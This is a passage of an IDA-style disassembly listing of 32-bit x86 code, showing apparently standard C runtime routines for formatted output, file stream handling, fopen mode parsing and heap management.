sub_417D4C+527j ; sub_417D4C+539j cdq jmp short loc_41828F ; --------------------------------------------------------------------------- loc_41826A: ; CODE XREF: sub_417D4C+510j call sub_41852B pop ecx movzx eax, ax jmp short loc_418267 ; --------------------------------------------------------------------------- loc_418275: ; CODE XREF: sub_417D4C+506j test byte ptr [ebp+var_4], 40h lea eax, [ebp+arg_8] push eax jz short loc_418287 call sub_41852B pop ecx jmp short loc_418267 ; --------------------------------------------------------------------------- loc_418287: ; CODE XREF: sub_417D4C+531j call sub_41852B pop ecx xor edx, edx loc_41828F: ; CODE XREF: sub_417D4C+500j ; sub_417D4C+51Cj test byte ptr [ebp+var_4], 40h jz short loc_4182B0 test edx, edx jg short loc_4182B0 jl short loc_41829F test eax, eax jnb short loc_4182B0 loc_41829F: ; CODE XREF: sub_417D4C+54Dj neg eax adc edx, 0 mov esi, eax neg edx or byte ptr [ebp+var_4+1], 1 mov edi, edx jmp short loc_4182B4 ; --------------------------------------------------------------------------- loc_4182B0: ; CODE XREF: sub_417D4C+547j ; sub_417D4C+54Bj ... mov esi, eax mov edi, edx loc_4182B4: ; CODE XREF: sub_417D4C+562j test byte ptr [ebp+var_4+1], 80h jnz short loc_4182BD and edi, 0 loc_4182BD: ; CODE XREF: sub_417D4C+56Cj cmp [ebp+var_10], 0 jge short loc_4182CC mov [ebp+var_10], 1 jmp short loc_4182D0 ; --------------------------------------------------------------------------- loc_4182CC: ; CODE XREF: sub_417D4C+575j and [ebp+var_4], 0FFFFFFF7h loc_4182D0: ; CODE XREF: sub_417D4C+57Ej mov eax, esi or eax, edi jnz short loc_4182DA and [ebp+var_1C], 0 loc_4182DA: ; CODE XREF: sub_417D4C+588j lea eax, [ebp+var_49] mov [ebp+var_8], eax loc_4182E0: ; CODE XREF: sub_417D4C+5DDj mov eax, [ebp+var_10] dec [ebp+var_10] test eax, eax jg short loc_4182F0 mov eax, esi or eax, edi jz short loc_41832B loc_4182F0: ; CODE XREF: sub_417D4C+59Cj mov eax, [ebp+var_C] cdq push edx push eax push edi push esi mov [ebp+var_40], eax mov [ebp+var_3C], edx call sub_417260 push [ebp+var_3C] mov ebx, eax add ebx, 30h push [ebp+var_40] push edi push esi call sub_4172E0 cmp ebx, 39h mov esi, eax mov edi, edx jle short loc_418321 add ebx, [ebp+var_2C] loc_418321: ; CODE XREF: sub_417D4C+5D0j mov eax, [ebp+var_8] dec [ebp+var_8] mov [eax], bl jmp short loc_4182E0 ; --------------------------------------------------------------------------- loc_41832B: ; CODE XREF: sub_417D4C+5A2j lea eax, [ebp+var_49] sub eax, [ebp+var_8] inc [ebp+var_8] test byte ptr [ebp+var_4+1], 2 mov [ebp+var_C], eax jz short loc_418356 mov ecx, [ebp+var_8] cmp byte ptr [ecx], 30h jnz short loc_418349 test eax, eax jnz short loc_418356 loc_418349: ; CODE XREF: sub_417D4C+5F7j dec [ebp+var_8] inc eax mov ecx, [ebp+var_8] mov byte ptr [ecx], 30h loc_418353: ; CODE XREF: sub_417D4C+35Fj ; sub_417D4C+406j ... mov [ebp+var_C], eax loc_418356: ; CODE XREF: sub_417D4C+21Bj ; sub_417D4C+2FDj ... cmp [ebp+var_28], 0 jnz loc_418454 ; default mov ebx, [ebp+var_4] test bl, 40h jz short loc_41838E test bh, 1 jz short loc_418373 mov [ebp+var_16], 2Dh jmp short loc_418387 ; --------------------------------------------------------------------------- loc_418373: ; CODE XREF: sub_417D4C+61Fj test bl, 1 jz short loc_41837E mov [ebp+var_16], 2Bh jmp short loc_418387 ; --------------------------------------------------------------------------- loc_41837E: ; CODE XREF: sub_417D4C+62Aj test bl, 2 jz short loc_41838E mov [ebp+var_16], 20h loc_418387: ; CODE XREF: sub_417D4C+625j ; sub_417D4C+630j mov [ebp+var_1C], 1 loc_41838E: ; CODE XREF: sub_417D4C+61Aj ; sub_417D4C+635j mov esi, [ebp+var_20] sub esi, [ebp+var_1C] sub esi, [ebp+var_C] test bl, 0Ch jnz short loc_4183AE lea eax, [ebp+var_14] push eax push [ebp+arg_0] push esi push 20h call sub_4184C2 add esp, 10h loc_4183AE: ; CODE XREF: sub_417D4C+64Ej lea eax, [ebp+var_14] push eax lea eax, [ebp+var_16] push [ebp+arg_0] push [ebp+var_1C] push eax call sub_4184F3 add esp, 10h test bl, 8 jz short loc_4183E0 test bl, 4 jnz short loc_4183E0 lea eax, [ebp+var_14] push eax push [ebp+arg_0] push esi push 30h call sub_4184C2 add esp, 10h loc_4183E0: ; CODE XREF: sub_417D4C+67Bj ; sub_417D4C+680j cmp [ebp+var_24], 0 jz short loc_418427 cmp [ebp+var_C], 0 jle short loc_418427 mov eax, [ebp+var_C] mov ebx, [ebp+var_8] lea edi, [eax-1] loc_4183F5: ; CODE XREF: sub_417D4C+6D7j mov ax, [ebx] inc ebx push eax lea eax, [ebp+var_38] push eax inc ebx call sub_41D18F pop ecx test eax, eax pop ecx jle short loc_41843C lea ecx, [ebp+var_14] push ecx push [ebp+arg_0] push eax lea eax, [ebp+var_38] push eax call sub_4184F3 add esp, 10h mov eax, edi dec edi test eax, eax jnz short loc_4183F5 jmp short loc_41843C ; --------------------------------------------------------------------------- loc_418427: ; CODE XREF: sub_417D4C+698j ; sub_417D4C+69Ej lea eax, [ebp+var_14] push eax push [ebp+arg_0] push [ebp+var_C] push [ebp+var_8] call sub_4184F3 add esp, 10h loc_41843C: ; CODE XREF: sub_417D4C+6BCj ; sub_417D4C+6D9j test byte ptr [ebp+var_4], 4 jz short loc_418454 ; default lea eax, [ebp+var_14] push eax push [ebp+arg_0] push esi push 20h call sub_4184C2 add esp, 10h loc_418454: ; CODE XREF: sub_417D4C+68j ; sub_417D4C+8Bj ... mov edi, [ebp+arg_4] ; default mov bl, [edi] inc edi test bl, bl mov [ebp+arg_4], edi jnz loc_417D78 loc_418465: ; CODE XREF: sub_417D4C+1Fj ; sub_417D4C+37j mov eax, [ebp+var_14] pop edi pop esi pop ebx leave retn sub_417D4C endp ; --------------------------------------------------------------------------- off_41846D dd offset loc_417EEB ; DATA XREF: sub_417D4C+6Er dd offset loc_417DC1 ; jump table for switch statement dd offset loc_417DDC dd offset loc_417E28 dd offset loc_417E5F dd offset loc_417E67 dd offset loc_417E9C dd offset loc_417F2F ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41848D proc near ; CODE XREF: sub_417D4C+1BDp ; sub_417D4C+1D6p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov ecx, [ebp+arg_4] dec dword ptr [ecx+4] js short loc_4184A6 mov edx, [ecx] mov al, byte ptr [ebp+arg_0] mov [edx], al inc dword ptr [ecx] movzx eax, al jmp short loc_4184B1 ; --------------------------------------------------------------------------- loc_4184A6: ; CODE XREF: sub_41848D+9j push ecx push [ebp+arg_0] call sub_417C37 pop ecx pop ecx loc_4184B1: ; CODE XREF: sub_41848D+17j cmp eax, 0FFFFFFFFh mov eax, [ebp+arg_8] jnz short loc_4184BE or dword ptr [eax], 0FFFFFFFFh pop ebp retn ; --------------------------------------------------------------------------- loc_4184BE: ; CODE XREF: sub_41848D+2Aj inc dword ptr [eax] pop ebp retn sub_41848D endp ; =============== S U B R O U T I N E ======================================= sub_4184C2 proc near ; CODE XREF: sub_417D4C+65Ap ; sub_417D4C+68Cp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push esi push edi mov edi, [esp+8+arg_4] mov eax, edi dec edi test eax, eax jle short loc_4184F0 mov esi, [esp+8+arg_C] loc_4184D3: ; CODE XREF: sub_4184C2+2Cj push esi push [esp+0Ch+arg_8] push [esp+10h+arg_0] call sub_41848D add esp, 0Ch cmp dword ptr [esi], 0FFFFFFFFh jz short loc_4184F0 mov eax, edi dec edi test eax, eax jg short loc_4184D3 loc_4184F0: ; CODE XREF: sub_4184C2+Bj ; sub_4184C2+25j pop edi pop esi retn sub_4184C2 endp ; =============== S U B R O U T I N E ======================================= sub_4184F3 proc near ; CODE XREF: sub_417D4C+670p ; sub_417D4C+6CAp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx mov ebx, [esp+4+arg_4] mov eax, ebx dec ebx push esi push edi test eax, eax jle short loc_418527 mov edi, [esp+0Ch+arg_C] mov esi, [esp+0Ch+arg_0] loc_418509: ; CODE XREF: sub_4184F3+32j movsx eax, byte ptr [esi] push edi inc esi push [esp+10h+arg_8] push eax call sub_41848D add esp, 0Ch cmp dword ptr [edi], 0FFFFFFFFh jz short loc_418527 mov eax, ebx dec ebx test eax, eax jg short loc_418509 loc_418527: ; CODE XREF: sub_4184F3+Cj ; sub_4184F3+2Bj pop edi pop esi pop ebx retn sub_4184F3 endp ; =============== S U B R O U T I N E ======================================= sub_41852B proc near ; CODE XREF: sub_417D4C+E5p ; sub_417D4C+124p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] add dword ptr [eax], 4 mov eax, [eax] mov eax, [eax-4] retn sub_41852B endp ; =============== S U B R O U T I N E ======================================= sub_418538 proc near ; CODE XREF: sub_417D4C+4FAp arg_0 = dword ptr 4 mov eax, [esp+arg_0] add dword ptr [eax], 8 mov ecx, [eax] mov eax, [ecx-8] mov edx, [ecx-4] retn sub_418538 endp ; =============== S U B R O U T I N E ======================================= sub_418548 proc near ; CODE XREF: sub_417D4C+2C7p arg_0 = dword ptr 4 mov eax, [esp+arg_0] add dword ptr [eax], 4 mov eax, [eax] mov ax, [eax-4] retn sub_418548 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418556 proc near ; CODE XREF: sub_4159D4+17p ; sub_4159D4+58p ... var_4 = byte ptr -4 var_3 = byte ptr -3 var_2 = byte ptr -2 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] lea ecx, [eax+1] cmp ecx, 100h ja short loc_418574 mov ecx, off_437D70 movzx eax, word ptr [ecx+eax*2] jmp short loc_4185C6 ; --------------------------------------------------------------------------- loc_418574: ; CODE XREF: sub_418556+10j mov ecx, eax push esi mov esi, off_437D70 sar ecx, 8 movzx edx, cl test byte ptr [esi+edx*2+1], 80h pop esi jz short loc_418599 and [ebp+var_2], 0 mov [ebp+var_4], cl mov [ebp+var_3], al push 2 jmp short loc_4185A2 ; --------------------------------------------------------------------------- loc_418599: ; CODE XREF: sub_418556+33j and [ebp+var_3], 0 mov [ebp+var_4], al push 1 loc_4185A2: ; CODE XREF: sub_418556+41j pop eax lea ecx, [ebp+arg_0+2] push 1 push 0 push 0 push ecx push eax lea eax, [ebp+var_4] push eax push 1 call sub_41D1F7 add esp, 1Ch test eax, eax jnz short loc_4185C2 leave retn ; --------------------------------------------------------------------------- loc_4185C2: ; CODE XREF: sub_418556+68j movzx eax, word ptr [ebp+arg_0+2] loc_4185C6: ; CODE XREF: sub_418556+1Cj and eax, [ebp+arg_4] leave retn sub_418556 endp ; =============== S U B R O U T I N E ======================================= sub_4185CB proc near ; CODE XREF: sub_415B40+2Ap ; sub_41D55A+290p arg_0 = dword ptr 4 push ebx push ebp push esi push edi mov edi, [esp+10h+arg_0] cmp edi, dword_46A8C0 jnb loc_418665 mov eax, edi mov esi, edi sar eax, 5 and esi, 1Fh lea ebx, ds:46A7C0h[eax*4] shl esi, 3 mov eax, [ebx] test byte ptr [eax+esi+4], 1 jz short loc_418665 push edi call sub_41D4C6 cmp eax, 0FFFFFFFFh pop ecx jz short loc_418644 cmp edi, 1 jz short loc_418612 cmp edi, 2 jnz short loc_418628 loc_418612: ; CODE XREF: sub_4185CB+40j push 2 call sub_41D4C6 push 1 mov ebp, eax call sub_41D4C6 pop ecx cmp eax, ebp pop ecx jz short loc_418644 loc_418628: ; CODE XREF: sub_4185CB+45j push edi call sub_41D4C6 pop ecx push eax call dword_42106C ; CloseHandle test eax, eax jnz short loc_418644 call dword_421088 ; RtlGetLastWin32Error mov ebp, eax jmp short loc_418646 ; --------------------------------------------------------------------------- loc_418644: ; CODE XREF: sub_4185CB+3Bj ; sub_4185CB+5Bj ... xor ebp, ebp loc_418646: ; CODE XREF: sub_4185CB+77j push edi call sub_41D44C mov eax, [ebx] pop ecx and byte ptr [eax+esi+4], 0 test ebp, ebp jz short loc_418661 push ebp call sub_41C5D7 pop ecx jmp short loc_418676 ; --------------------------------------------------------------------------- loc_418661: ; CODE XREF: sub_4185CB+8Bj xor eax, eax jmp short loc_418679 ; --------------------------------------------------------------------------- loc_418665: ; CODE XREF: sub_4185CB+Ej ; sub_4185CB+2Fj and dword_469498, 0 mov dword_469494, 9 loc_418676: ; CODE XREF: sub_4185CB+94j or eax, 0FFFFFFFFh loc_418679: ; CODE XREF: sub_4185CB+98j pop edi pop esi pop ebp pop ebx retn sub_4185CB endp ; =============== S U B R O U T I N E ======================================= sub_41867E proc near ; CODE XREF: sub_415B40+22p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] mov eax, [esi+0Ch] test al, 83h jz short loc_4186A7 test al, 8 jz short loc_4186A7 push dword ptr [esi+8] call sub_415E3D and word ptr [esi+0Ch], 0FBF7h xor eax, eax pop ecx mov [esi], eax mov [esi+8], eax mov [esi+4], eax loc_4186A7: ; CODE XREF: sub_41867E+Aj ; sub_41867E+Ej pop esi retn sub_41867E endp ; =============== S U B R O U T I N E ======================================= sub_4186A9 proc near ; CODE XREF: sub_418749+2Dp ; sub_418749+48p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] test esi, esi jnz short loc_4186BB push esi call sub_418749 pop ecx pop esi retn ; --------------------------------------------------------------------------- loc_4186BB: ; CODE XREF: sub_4186A9+7j push esi call sub_4186E4 test eax, eax pop ecx jz short loc_4186CB or eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_4186CB: ; CODE XREF: sub_4186A9+1Bj test byte ptr [esi+0Dh], 40h jz short loc_4186E0 push dword ptr [esi+10h] call sub_41D503 neg eax pop ecx pop esi sbb eax, eax retn ; --------------------------------------------------------------------------- loc_4186E0: ; CODE XREF: sub_4186A9+26j xor eax, eax pop esi retn sub_4186A9 endp ; =============== S U B R O U T I N E ======================================= sub_4186E4 proc near ; CODE XREF: sub_415B40+1Ap ; sub_416E3E+37p ... arg_0 = dword ptr 4 push ebx push esi mov esi, [esp+8+arg_0] xor ebx, ebx push edi mov eax, [esi+0Ch] mov ecx, eax and ecx, 3 cmp cl, 2 jnz short loc_418731 test ax, 108h jz short loc_418731 mov eax, [esi+8] mov edi, [esi] sub edi, eax test edi, edi jle short loc_418731 push edi push eax push dword ptr [esi+10h] call sub_41C42A add esp, 0Ch cmp eax, edi jnz short loc_41872A mov eax, [esi+0Ch] test al, 80h jz short loc_418731 and al, 0FDh mov [esi+0Ch], eax jmp short loc_418731 ; --------------------------------------------------------------------------- loc_41872A: ; CODE XREF: sub_4186E4+36j or dword ptr [esi+0Ch], 20h or ebx, 0FFFFFFFFh loc_418731: ; CODE XREF: sub_4186E4+14j ; sub_4186E4+1Aj ... mov eax, [esi+8] and dword ptr [esi+4], 0 mov [esi], eax pop edi mov eax, ebx pop esi pop ebx retn sub_4186E4 endp ; =============== S U B R O U T I N E ======================================= sub_418740 proc near ; CODE XREF: sub_41D17Bp push 1 call sub_418749 pop ecx retn sub_418740 endp ; =============== S U B R O U T I N E ======================================= sub_418749 proc near ; CODE XREF: sub_4186A9+Ap ; sub_418740+2p arg_0 = dword ptr 4 push ebx push esi push edi xor esi, esi xor ebx, ebx xor edi, edi cmp dword_46A7A0, esi jle short loc_4187A7 loc_41875A: ; CODE XREF: sub_418749+5Cj mov eax, dword_469780 mov eax, [eax+esi*4] test eax, eax jz short loc_41879E mov ecx, [eax+0Ch] test cl, 83h jz short loc_41879E cmp [esp+0Ch+arg_0], 1 jnz short loc_418784 push eax call sub_4186A9 cmp eax, 0FFFFFFFFh pop ecx jz short loc_41879E inc ebx jmp short loc_41879E ; --------------------------------------------------------------------------- loc_418784: ; CODE XREF: sub_418749+2Aj cmp [esp+0Ch+arg_0], 0 jnz short loc_41879E test cl, 2 jz short loc_41879E push eax call sub_4186A9 cmp eax, 0FFFFFFFFh pop ecx jnz short loc_41879E or edi, eax loc_41879E: ; CODE XREF: sub_418749+1Bj ; sub_418749+23j ... inc esi cmp esi, dword_46A7A0 jl short loc_41875A loc_4187A7: ; CODE XREF: sub_418749+Fj cmp [esp+0Ch+arg_0], 1 mov eax, ebx jz short loc_4187B2 mov eax, edi loc_4187B2: ; CODE XREF: sub_418749+65j pop edi pop esi pop ebx retn sub_418749 endp ; =============== S U B R O U T I N E ======================================= sub_4187B6 proc near ; CODE XREF: sub_415B96+8p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push dword ptr [esi+10h] call sub_41D0B0 test eax, eax pop ecx jz short loc_41883F cmp esi, offset dword_438488 jnz short loc_4187D4 xor eax, eax jmp short loc_4187DF ; --------------------------------------------------------------------------- loc_4187D4: ; CODE XREF: sub_4187B6+18j cmp esi, offset dword_4384A8 jnz short loc_41883F push 1 pop eax loc_4187DF: ; CODE XREF: sub_4187B6+1Cj inc dword_469654 test word ptr [esi+0Ch], 10Ch jnz short loc_41883F cmp dword_4694EC[eax*4], 0 push ebx push edi lea edi, ds:4694ECh[eax*4] mov ebx, 1000h jnz short loc_418825 push ebx call sub_415DC9 test eax, eax pop ecx mov [edi], eax jnz short loc_418825 lea eax, [esi+14h] push 2 mov [esi+8], eax mov [esi], eax pop eax mov [esi+18h], eax mov [esi+4], eax jmp short loc_418832 ; --------------------------------------------------------------------------- loc_418825: ; CODE XREF: sub_4187B6+4Dj ; sub_4187B6+5Aj mov edi, [edi] mov [esi+18h], ebx mov [esi+8], edi mov [esi], edi mov [esi+4], ebx loc_418832: ; CODE XREF: sub_4187B6+6Dj or word ptr [esi+0Ch], 1102h push 1 pop eax pop edi pop ebx pop esi retn ; --------------------------------------------------------------------------- loc_41883F: ; CODE XREF: sub_4187B6+10j ; sub_4187B6+24j ... xor eax, eax pop esi retn sub_4187B6 endp ; =============== S U B R O U T I N E ======================================= sub_418843 proc near ; CODE XREF: sub_415B96+24p arg_0 = dword ptr 4 arg_4 = dword ptr 8 cmp [esp+arg_0], 0 push esi jz short loc_41886D mov esi, [esp+4+arg_4] test byte ptr [esi+0Dh], 10h jz short loc_41887E push esi call sub_4186E4 and byte ptr [esi+0Dh], 0EEh and dword ptr [esi+18h], 0 and dword ptr [esi], 0 and dword ptr [esi+8], 0 pop ecx pop esi retn ; --------------------------------------------------------------------------- loc_41886D: ; CODE XREF: sub_418843+6j mov eax, [esp+4+arg_4] test byte ptr [eax+0Dh], 10h jz short loc_41887E push eax call sub_4186E4 pop ecx loc_41887E: ; CODE XREF: sub_418843+10j ; sub_418843+32j pop esi retn sub_418843 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418880 proc near ; CODE XREF: sub_415BC8+17p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx push ecx push ebx push esi mov esi, dword_46965C push edi mov edi, [ebp+arg_4] xor ebx, ebx mov [ebp+var_8], ebx mov [ebp+var_4], ebx mov al, [edi] cmp al, 61h jz short loc_4188B9 cmp al, 72h jz short loc_4188B2 cmp al, 77h jnz loc_4189CD mov ecx, 301h jmp short loc_4188BE ; --------------------------------------------------------------------------- loc_4188B2: ; CODE XREF: sub_418880+21j xor ecx, ecx or esi, 1 jmp short loc_4188C1 ; --------------------------------------------------------------------------- loc_4188B9: ; CODE XREF: sub_418880+1Dj mov ecx, 109h loc_4188BE: ; CODE XREF: sub_418880+30j or esi, 2 loc_4188C1: ; CODE XREF: sub_418880+37j push 1 pop edx loc_4188C4: ; CODE XREF: sub_418880+8Bj ; sub_418880+A0j ... mov al, [edi+1] inc edi cmp al, bl jz loc_4189B3 cmp edx, ebx jz loc_4189B3 movsx eax, al cmp eax, 54h jg short loc_418952 jz short loc_418942 sub eax, 2Bh jz short loc_41892C sub eax, 19h jz short loc_418922 sub eax, 0Eh jz short loc_41890D dec eax jnz loc_4189A4 cmp [ebp+var_4], ebx jnz loc_4189A4 mov [ebp+var_4], 1 or ecx, 20h jmp short loc_4188C4 ; --------------------------------------------------------------------------- loc_41890D: ; CODE XREF: sub_418880+6Fj cmp [ebp+var_4], ebx jnz loc_4189A4 mov [ebp+var_4], 1 or ecx, 10h jmp short loc_4188C4 ; --------------------------------------------------------------------------- loc_418922: ; CODE XREF: sub_418880+6Aj test cl, 40h jnz short loc_4189A4 or ecx, 40h jmp short loc_4188C4 ; --------------------------------------------------------------------------- loc_41892C: ; CODE XREF: sub_418880+65j test cl, 2 jnz short loc_4189A4 and ecx, 0FFFFFFFEh and esi, 0FFFFFFFCh or ecx, 2 or esi, 80h jmp short loc_4188C4 ; --------------------------------------------------------------------------- loc_418942: ; CODE XREF: sub_418880+60j mov eax, 1000h test ecx, eax jnz short loc_4189A4 or ecx, eax jmp loc_4188C4 ; --------------------------------------------------------------------------- loc_418952: ; CODE XREF: sub_418880+5Ej sub eax, 62h jz short loc_41899F dec eax jz short loc_418988 sub eax, 0Bh jz short loc_418971 sub eax, 6 jnz short loc_4189A4 test ch, 0C0h jnz short loc_4189A4 or ch, 40h jmp loc_4188C4 ; --------------------------------------------------------------------------- loc_418971: ; CODE XREF: sub_418880+DDj cmp [ebp+var_8], ebx jnz short loc_4189A4 mov [ebp+var_8], 1 and esi, 0FFFFBFFFh jmp loc_4188C4 ; --------------------------------------------------------------------------- loc_418988: ; CODE XREF: sub_418880+D8j cmp [ebp+var_8], ebx jnz short loc_4189A4 mov [ebp+var_8], 1 or esi, 4000h jmp loc_4188C4 ; --------------------------------------------------------------------------- loc_41899F: ; CODE XREF: sub_418880+D5j test ch, 0C0h jz short loc_4189AB loc_4189A4: ; CODE XREF: sub_418880+72j ; sub_418880+7Bj ... xor edx, edx jmp loc_4188C4 ; --------------------------------------------------------------------------- loc_4189AB: ; CODE XREF: sub_418880+122j or ch, 80h jmp loc_4188C4 ; --------------------------------------------------------------------------- loc_4189B3: ; CODE XREF: sub_418880+4Aj ; sub_418880+52j push 1A4h push [ebp+arg_8] push ecx push [ebp+arg_0] call sub_41D55A mov ecx, eax add esp, 10h cmp ecx, ebx jge short loc_4189D1 loc_4189CD: ; CODE XREF: sub_418880+25j xor eax, eax jmp short loc_4189EB ; --------------------------------------------------------------------------- loc_4189D1: ; CODE XREF: sub_418880+14Bj mov eax, [ebp+arg_C] inc dword_469654 mov [eax+0Ch], esi mov [eax+4], ebx mov [eax], ebx mov [eax+8], ebx mov [eax+1Ch], ebx mov [eax+10h], ecx loc_4189EB: ; CODE XREF: sub_418880+14Fj pop edi pop esi pop ebx leave retn sub_418880 endp ; =============== S U B R O U T I N E ======================================= sub_4189F0 proc near ; CODE XREF: sub_415BC8p mov edx, dword_46A7A0 push ebx push ebp push esi xor ebp, ebp xor esi, esi xor eax, eax cmp edx, ebp push edi jle short loc_418A61 mov ebx, dword_469780 mov edi, ebx loc_418A0C: ; CODE XREF: sub_4189F0+2Ej mov ecx, [edi] cmp ecx, ebp jz short loc_418A27 test byte ptr [ecx+0Ch], 83h jz short loc_418A22 inc eax add edi, 4 cmp eax, edx jl short loc_418A0C jmp short loc_418A61 ; --------------------------------------------------------------------------- loc_418A22: ; CODE XREF: sub_4189F0+26j mov esi, [ebx+eax*4] jmp short loc_418A4B ; --------------------------------------------------------------------------- loc_418A27: ; CODE XREF: sub_4189F0+20j mov edi, eax push 20h shl edi, 2 call sub_415DC9 pop ecx mov ecx, dword_469780 mov [edi+ecx], eax mov eax, dword_469780 mov edi, [edi+eax] cmp edi, ebp jz short loc_418A61 mov esi, edi loc_418A4B: ; CODE XREF: sub_4189F0+35j cmp esi, ebp jz short loc_418A61 or dword ptr [esi+10h], 0FFFFFFFFh mov [esi+4], ebp mov [esi+0Ch], ebp mov [esi+8], ebp mov [esi], ebp mov [esi+1Ch], ebp loc_418A61: ; CODE XREF: sub_4189F0+12j ; sub_4189F0+30j ... mov eax, esi pop edi pop esi pop ebp pop ebx retn sub_4189F0 endp ; =============== S U B R O U T I N E ======================================= sub_418A68 proc near ; CODE XREF: sub_415DDB+1Fp ; sub_4174DF+106p ... arg_0 = dword ptr 4 mov eax, dword_4694F8 test eax, eax jz short loc_418A80 push [esp+arg_0] call eax test eax, eax pop ecx jz short loc_418A80 push 1 pop eax retn ; --------------------------------------------------------------------------- loc_418A80: ; CODE XREF: sub_418A68+7j ; sub_418A68+12j xor eax, eax retn sub_418A68 endp ; =============== S U B R O U T I N E ======================================= sub_418A83 proc near ; CODE XREF: sub_417AF8+5Ap arg_0 = dword ptr 4 xor eax, eax push 0 cmp [esp+4+arg_0], eax push 1000h setz al push eax call dword_421174 ; HeapCreate test eax, eax mov dword_46AB00, eax jz short loc_418AB8 call sub_418ABF test eax, eax jnz short loc_418ABB push dword_46AB00 call dword_421170 ; HeapDestroy loc_418AB8: ; CODE XREF: sub_418A83+1Ej xor eax, eax retn ; --------------------------------------------------------------------------- loc_418ABB: ; CODE XREF: sub_418A83+27j push 1 pop eax retn sub_418A83 endp ; =============== S U B R O U T I N E ======================================= sub_418ABF proc near ; CODE XREF: sub_418A83+20p push 140h push 0 push dword_46AB00 call dword_42114C ; RtlAllocateHeap test eax, eax mov dword_46AAFC, eax jnz short loc_418ADC retn ; --------------------------------------------------------------------------- loc_418ADC: ; CODE XREF: sub_418ABF+1Aj and dword_46AAF4, 0 and dword_46AAF8, 0 push 1 mov dword_46AAF0, eax mov dword_46AAE8, 10h pop eax retn sub_418ABF endp ; =============== S U B R O U T I N E ======================================= sub_418AFD proc near ; CODE XREF: sub_415E3D+Ap ; sub_4174DF+3Dp ... arg_0 = dword ptr 4 mov eax, dword_46AAF8 lea ecx, [eax+eax*4] mov eax, dword_46AAFC lea ecx, [eax+ecx*4] loc_418B0D: ; CODE XREF: sub_418AFD+26j cmp eax, ecx jnb short loc_418B25 mov edx, [esp+arg_0] sub edx, [eax+0Ch] cmp edx, 100000h jb short locret_418B27 add eax, 14h jmp short loc_418B0D ; --------------------------------------------------------------------------- loc_418B25: ; CODE XREF: sub_418AFD+12j xor eax, eax locret_418B27: ; CODE XREF: sub_418AFD+21j retn sub_418AFD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418B28 proc near ; CODE XREF: sub_415E3D+16p ; sub_4174DF+89p ... var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 14h mov edx, [ebp+arg_4] mov ecx, [ebp+arg_0] push ebx push esi mov eax, [ecx+10h] mov esi, edx sub esi, [ecx+0Ch] mov ebx, [edx-4] add edx, 0FFFFFFFCh push edi shr esi, 0Fh mov ecx, esi mov edi, [edx-4] imul ecx, 204h dec ebx mov [ebp+var_4], edi lea ecx, [ecx+eax+144h] mov [ebp+var_C], ebx mov [ebp+var_10], ecx mov ecx, [ebx+edx] test cl, 1 mov [ebp+var_8], ecx jnz short loc_418BEE sar ecx, 4 push 3Fh dec ecx pop edi mov [ebp+arg_4], ecx cmp ecx, edi jbe short loc_418B80 mov [ebp+arg_4], edi loc_418B80: ; CODE XREF: sub_418B28+53j mov ecx, [ebx+edx+4] cmp ecx, [ebx+edx+8] jnz short loc_418BD2 mov ecx, [ebp+arg_4] cmp ecx, 20h jnb short loc_418BAE mov edi, 80000000h shr edi, cl lea ecx, [ecx+eax+4] not edi and [eax+esi*4+44h], edi dec byte ptr [ecx] jnz short loc_418BD2 mov ecx, [ebp+arg_0] and [ecx], edi jmp short loc_418BD2 ; --------------------------------------------------------------------------- loc_418BAE: ; CODE XREF: sub_418B28+68j add ecx, 0FFFFFFE0h mov edi, 80000000h shr edi, cl mov ecx, [ebp+arg_4] lea ecx, [ecx+eax+4] not edi and [eax+esi*4+0C4h], edi dec byte ptr [ecx] jnz short loc_418BD2 mov ecx, [ebp+arg_0] and [ecx+4], edi loc_418BD2: ; CODE XREF: sub_418B28+60j ; sub_418B28+7Dj ... mov ecx, [ebx+edx+8] mov edi, [ebx+edx+4] mov [ecx+4], edi mov ecx, [ebx+edx+4] mov edi, [ebx+edx+8] add ebx, [ebp+var_8] mov [ecx+8], edi mov [ebp+var_C], ebx loc_418BEE: ; CODE XREF: sub_418B28+45j mov edi, ebx sar edi, 4 dec edi cmp edi, 3Fh jbe short loc_418BFC push 3Fh pop edi loc_418BFC: ; CODE XREF: sub_418B28+CFj mov ecx, [ebp+var_4] and ecx, 1 mov [ebp+var_14], ecx jnz loc_418CAB sub edx, [ebp+var_4] mov ecx, [ebp+var_4] sar ecx, 4 push 3Fh mov [ebp+var_8], edx dec ecx pop edx cmp ecx, edx mov [ebp+arg_4], ecx jbe short loc_418C27 mov [ebp+arg_4], edx mov ecx, edx loc_418C27: ; CODE XREF: sub_418B28+F8j add ebx, [ebp+var_4] mov edi, ebx mov [ebp+var_C], ebx sar edi, 4 dec edi cmp edi, edx jbe short loc_418C39 mov edi, edx loc_418C39: ; CODE XREF: sub_418B28+10Dj cmp ecx, edi jz short loc_418CA8 mov ecx, [ebp+var_8] mov edx, [ecx+4] cmp edx, [ecx+8] jnz short loc_418C90 mov ecx, [ebp+arg_4] cmp ecx, 20h jnb short loc_418C6C mov edx, 80000000h shr edx, cl lea ecx, [ecx+eax+4] not edx and [eax+esi*4+44h], edx dec byte ptr [ecx] jnz short loc_418C90 mov ecx, [ebp+arg_0] and [ecx], edx jmp short 